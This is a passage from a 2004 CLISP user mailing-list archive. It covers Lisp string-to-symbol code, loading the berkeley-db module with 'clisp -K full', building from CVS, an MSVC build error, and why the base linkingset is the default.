SYMBOLIZE-PRESERVING-CASE)) (BLOCK SYMBOLIZE-PRESERVING-CASE (CHECK-TYPE STR-RSPC STRING) (LET ((LIST (COERCE STR-RSPC 'LIST)) (CHAR) (RESULT NIL)) (SETQ RESULT '(#\( #\| #\a #\a #\a #\| #\Space #\| #\x #\| #\Space #\| #\y #\| #\Space #\| #\z #\z #\z #\z #\| #\))) (WHILE LIST (SETQ CHAR (POP LIST)) (IF (EQL CHAR #\Space) (PROGN (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\Space RESULT) (PUSH-RIGHT #\| RESULT) (WHILE (EQL (CAR LIST) #\Space) (POP LIST))) (PUSH-RIGHT CHAR RESULT))) (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\) RESULT) (READ-FROM-STRING (COERCE RESULT 'STRING))))) #(NIL NIL NIL NIL ((DECLARATION VALUES OPTIMIZE DECLARATION))) SYMBOLIZE-PRESERVING-CASE > When i change the (setq result '(#\( #\|)) > > by > (setq result nil) > (push #\| result) > (push #\( result) > > it works perfectly. > > Weird isn't it? Not at all. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From jeff@public.nontrivial.org Wed Jul 21 11:35:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnLwB-00065D-66 for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 11:35:31 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BnLwA-0000u6-RU for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 11:35:31 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Wed, 21 Jul 2004 13:26:58 -0500 From: wolfjb@bigfoot.com To: "clisp-list" Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] berkeley-db Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 11:36:07 2004 X-Original-Date: Wed, 21 Jul 2004 13:26:58 -0500 I'm trying to use the berkeley-db module as mentioned in the implementation notes (http://clisp.cons.org/impnotes.html#berkeley-db) however I get the error message "there is no package with the name BDB" when I try to run (BDB:DB-VERSION). H:\>clisp --version GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101]) Software: GNU C 3.3.1 (cygming special) ANSI C program Features: (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: H:\clisp-2.33.1\ User language: ENGLISH Machine: PC/386 (PC/?86) I have install Berkeley-db 4.2.52 Any pointers? Thanks Jeff From hin@van-halen.alma.com Wed Jul 21 11:45:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnM5w-0000Nb-Ca for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 11:45:36 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BnM5w-0003XL-26 for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 11:45:36 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id BB9A210DF08; Wed, 21 Jul 2004 14:45:31 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6LIj6Cv003956; Wed, 21 Jul 2004 14:45:07 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6LIj6xm003953; Wed, 21 Jul 2004 14:45:06 -0400 Message-Id: <200407211845.i6LIj6xm003953@van-halen.alma.com> From: "John K. Hinsdale" To: wolfjb@bigfoot.com Cc: clisp-list@lists.sourceforge.net In-reply-to: (wolfjb@bigfoot.com) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: berkeley-db Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 11:46:04 2004 X-Original-Date: Wed, 21 Jul 2004 14:45:06 -0400 > I'm trying to use the berkeley-db module as mentioned in the implementation > notes (http://clisp.cons.org/impnotes.html#berkeley-db) however I get the > error message "there is no package with the name BDB" when I try to run > (BDB:DB-VERSION). yes this is a frequently asked: http://clisp.cons.org/faq.html#modules You need to run: clisp -K full ... otherwise you get the base CLISP w/out the modules. In truth I'm not sure why the "full" set is not the default. I never use anything other than "full" and it seems for many people (me, who else matters ;) if you configure build the module implies you're going to want to use it, no? But I think there is some reason, perhaps historical, not sure why "base w/out modules" is the default Hope this helps! From sds@gnu.org Wed Jul 21 12:05:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnMPS-0004LC-Qe for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:05:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BnMPS-0007ZZ-CB for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:05:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6LJ5M2p008244; Wed, 21 Jul 2004 15:05:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200407211845.i6LIj6xm003953@van-halen.alma.com> (John K. Hinsdale's message of "Wed, 21 Jul 2004 14:45:06 -0400") References: <200407211845.i6LIj6xm003953@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: berkeley-db Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 12:06:04 2004 X-Original-Date: Wed, 21 Jul 2004 15:05:22 -0400 > * John K. Hinsdale [2004-07-21 14:45:06 -0400]: > > In truth I'm not sure why the "full" set is not the default. I never > use anything other than "full" and it seems for many people (me, who > else matters ;) if you configure build the module implies you're going > to want to use it, no? people who use the pre-built binaries do not have that choice. > But I think there is some reason, perhaps historical, not sure why > "base w/out modules" is the default IIRC, Bruno wants the default to be as simple and reliable as possible. Frankly, I don't see how the presence of an unused module can reduce reliability, but what do I know? :-) I hope Bruno will clarify the matter here for the FAQ list. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a language for doing what you've been told is impossible. - Kent Pitman From sds@gnu.org Wed Jul 21 12:15:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnMYn-0006Yb-8K for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:15:25 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BnMYm-0008MT-OV for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:15:25 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6LJFA2p011608; Wed, 21 Jul 2004 15:15:10 -0400 (EDT) To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (wolfjb@bigfoot.com's message of "Wed, 21 Jul 2004 13:26:58 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: berkeley-db Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 12:16:02 2004 X-Original-Date: Wed, 21 Jul 2004 15:15:09 -0400 > * [2004-07-21 13:26:58 -0500]: > > I'm trying to use the berkeley-db module as mentioned in the > implementation notes (http://clisp.cons.org/impnotes.html#berkeley-db) > however I get the error message "there is no package with the name BDB" > when I try to run (BDB:DB-VERSION). > > H:\>clisp --version > GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101]) > Software: GNU C 3.3.1 (cygming special) ANSI C program > Features: > (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL > INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE > BASE-CHAR=CHARACTER PC386 WIN32) > Installation directory: H:\clisp-2.33.1\ > User language: ENGLISH > Machine: PC/386 (PC/?86) > > I have install Berkeley-db 4.2.52 in addition to John's reply, let me mention that 1. I don't remember if berkeley-db is included in the cygwin binary 2. even if it is, the current CVS HEAD has a much improved version: I urge you to get CVS HEAD and build CLISP yourself: $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp $ cd clisp $ ./configure --with-module=berkeley-db --build build-bdb $ ./build-bdb/clisk -K full -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX is as friendly to you as you are to it. Windows is hostile no matter what. From jeff@public.nontrivial.org Wed Jul 21 12:37:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnMtn-0003MM-P8 for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:37:07 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BnMtn-0004kT-AB for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:37:07 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Wed, 21 Jul 2004 14:28:37 -0500 References: In-Reply-To: From: wolfjb@bigfoot.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: berkeley-db Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 12:38:01 2004 X-Original-Date: Wed, 21 Jul 2004 14:28:37 -0500 Unfortunately, I'm firewalled out of using cvs. Is the source version on the sourceforge download page close enough? BTW, sorry for missing the modules question in the FAQ. I did try to find the answer before asking here, but being a bit of a newbie means I don't always know where to look or how to ask the question correctly when reading the doc. I appreciate your patience. Thanks! Jeff Sam Steingold writes: >> * [2004-07-21 13:26:58 -0500]: >> >> I'm trying to use the berkeley-db module as mentioned in the >> implementation notes (http://clisp.cons.org/impnotes.html#berkeley-db) >> however I get the error message "there is no package with the name BDB" >> when I try to run (BDB:DB-VERSION). >> >> H:\>clisp --version >> GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101]) >> Software: GNU C 3.3.1 (cygming special) ANSI C program >> Features: >> (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL >> INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE >> BASE-CHAR=CHARACTER PC386 WIN32) >> Installation directory: H:\clisp-2.33.1\ >> User language: ENGLISH >> Machine: PC/386 (PC/?86) >> >> I have install Berkeley-db 4.2.52 > > in addition to John's reply, let me mention that > > 1. I don't remember if berkeley-db is included in the cygwin binary > > 2. even if it is, the current CVS HEAD has a much improved version: > > I urge you to get CVS HEAD and build CLISP yourself: > $ cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp > $ cd clisp > $ ./configure --with-module=berkeley-db --build build-bdb > $ ./build-bdb/clisk -K full > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > UNIX is as friendly to you as you are to it. Windows is hostile no matter what. > > > ------------------------------------------------------- > This SF.Net email is sponsored by BEA Weblogic Workshop > FREE Java Enterprise J2EE developer tools! > Get your free copy of BEA WebLogic Workshop 8.1 today. > http://ads.osdn.com/?ad_id=4721&alloc_id=10040&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From teixeirm@onid.orst.edu Wed Jul 21 12:56:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnNCt-0000n0-5f for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:56:51 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BnNCs-0007nr-Qv for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 12:56:51 -0700 Received: from [128.193.38.69] (x2.CS.ORST.EDU [128.193.38.69]) by ghost.CS.ORST.EDU (8.12.8/8.12.10) with ESMTP id i6LJumhE027794 for ; Wed, 21 Jul 2004 12:56:48 -0700 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <19A8D58A-DB50-11D8-8AE0-000A959A8C9C@onid.orst.edu> Content-Transfer-Encoding: 7bit From: Mike Teixeira To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Subject: [clisp-list] Re: clisp 2.33.2 build error on win32 with msvc 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 12:57:09 2004 X-Original-Date: Wed, 21 Jul 2004 12:56:48 -0700 Thanks, that fixed the problem. On Jul 19, 2004, at 1:53 PM, Sam Steingold wrote: >> * Mike Teixeira [2004-07-19 13:34:27 -0700]: >> >> ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 >> -IC:\Program >> Files\Microsoft Visual Studio .NET 2003\VC7\include -D_MSC_VER=1300 >> -D_INTEGRAL_MAX_BITS=64 -IC:\Program Files\Microsoft Visual Studio >> .NET >> 2003\VC7\PlatformSDK\include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT >> -DNO_SIGSEGV -I. spvw.c > spvw.i.c >> >> ..\utils\gcc-cccp\cccp: Usage: ..\utils\gcc-cccp\cccp [switches] input >> output > > try quoting the path that contains backslashes and spaces. > i.e., write -I"C:/Program Files/Microsoft Visual Studio" > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > Whether pronounced "leenooks" or "line-uks", it's better than Windows. > Mike Teixeira Office Phone - 541-737-2490 School of EE and CS E-mail - teixeira@cs.orst.edu Oregon State University 220B Dearborn Hall Corvallis, OR 97331 From teixeirm@onid.orst.edu Wed Jul 21 13:02:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnNI2-00028O-HQ for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 13:02:10 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BnNI2-00009C-8D for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 13:02:10 -0700 Received: from [128.193.38.69] (x2.CS.ORST.EDU [128.193.38.69]) by ghost.CS.ORST.EDU (8.12.8/8.12.10) with ESMTP id i6LK27hE027979 for ; Wed, 21 Jul 2004 13:02:07 -0700 Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Mike Teixeira X-Mailer: Apple Mail (2.618) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] error C2099 and warning C4047 in 2.33.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 13:03:01 2004 X-Original-Date: Wed, 21 Jul 2004 13:02:07 -0700 Hello, I am building 2.33.2 on a Windows XP box with Visual Studio .NET 2003. I am getting the following errors when I build: spvwtabf.i.c subr.d(165) : error C2099: initializer is not a constant subr.d(165) : warning C4047: 'initializing' : 'uintL' differs in levels of indirection from 'void *' subr.d(166) : error C2099: initializer is not a constant subr.d(166) : warning C4047: 'initializing' : 'uintL' differs in levels of indirection from 'void *' subr.d(167) : error C2099: initializer is not a constant ... ... ... subr.d(282) : error C2099: initializer is not a constant subr.d(282) : warning C4047: 'initializing' : 'uintL' differs in levels of indirection from 'void *' subr.d(284) : error C2099: initializer is not a constant subr.d(284) : warning C4047: 'initializing' : 'uintL' differs in levels of indirection from 'void *' subr.d(286) : error C2099: initializer is not a constant subr.d(286) : fatal error C1003: error count exceeds 100; stopping compilation Has anyone had any experience with this issue? Thanks, Mike From bruno@clisp.org Wed Jul 21 13:06:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnNME-0003Lv-LM for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 13:06:30 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BnNME-0000oG-23 for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 13:06:30 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.0/8.13.0) with ESMTP id i6LK6AWe006593; Wed, 21 Jul 2004 22:06:10 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i6LK64mv009934; Wed, 21 Jul 2004 22:06:04 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 6AD591BB7D; Wed, 21 Jul 2004 20:04:45 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , "John K. Hinsdale" User-Agent: KMail/1.5 References: <200407211845.i6LIj6xm003953@van-halen.alma.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200407212204.44395.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: berkeley-db Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 13:07:04 2004 X-Original-Date: Wed, 21 Jul 2004 22:04:44 +0200 Sam wrote: > > But I think there is some reason, perhaps historical, not sure why > > "base w/out modules" is the default > > IIRC, Bruno wants the default to be as simple and reliable as possible. > Frankly, I don't see how the presence of an unused module can reduce > reliability, but what do I know? :-) Making the default linkingset the 'base' one has the following advantages: - It avoids problems when a module requires a shared library, and that shared library is not present (or is present but with wrong version) on your system. - People looking at the size of "ps aux" or "(room t)" will not think "gee - lisp is so bloated". (That was precisely my impression when I first saw a CMUCL memory image, 20 MB large.) - Adding things to the heap means increased working set size, thus a slowdown. It matters for small to medium applications. - For us developers, support is easier, because we don't have to ask for each bug report whether the linnkingset contained clx or not. Bruno From lisp-clisp-list@m.gmane.org Wed Jul 21 15:01:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnP9A-0006ow-V7 for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 15:01:08 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BnP9A-0004P4-FS for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 15:01:08 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BnP98-0004E7-00 for ; Thu, 22 Jul 2004 00:01:06 +0200 Received: from s93-2channel.dc.ukrtel.net ([195.5.21.146]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 22 Jul 2004 00:01:06 +0200 Received: from udodenko by s93-2channel.dc.ukrtel.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 22 Jul 2004 00:01:06 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Randolph Udodenko" Lines: 14 Message-ID: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: s93-2channel.dc.ukrtel.net X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Comment-To: All FL-Build: Fidolook 2004 (HL) 6.0.2800.90 - 7/2/2004 14:37:42 X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] ext:write-integer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 15:02:01 2004 X-Original-Date: Thu, 22 Jul 2004 00:47:44 +0300 Hello, All! (ext:write-integer -1 stream '(signed-byte 32)) writes there integer that was written there previously. it should at least say something, i think 8-] it will be great if it work, otherwise one has to use something like (loop for i from 0 to 24 by 8 do 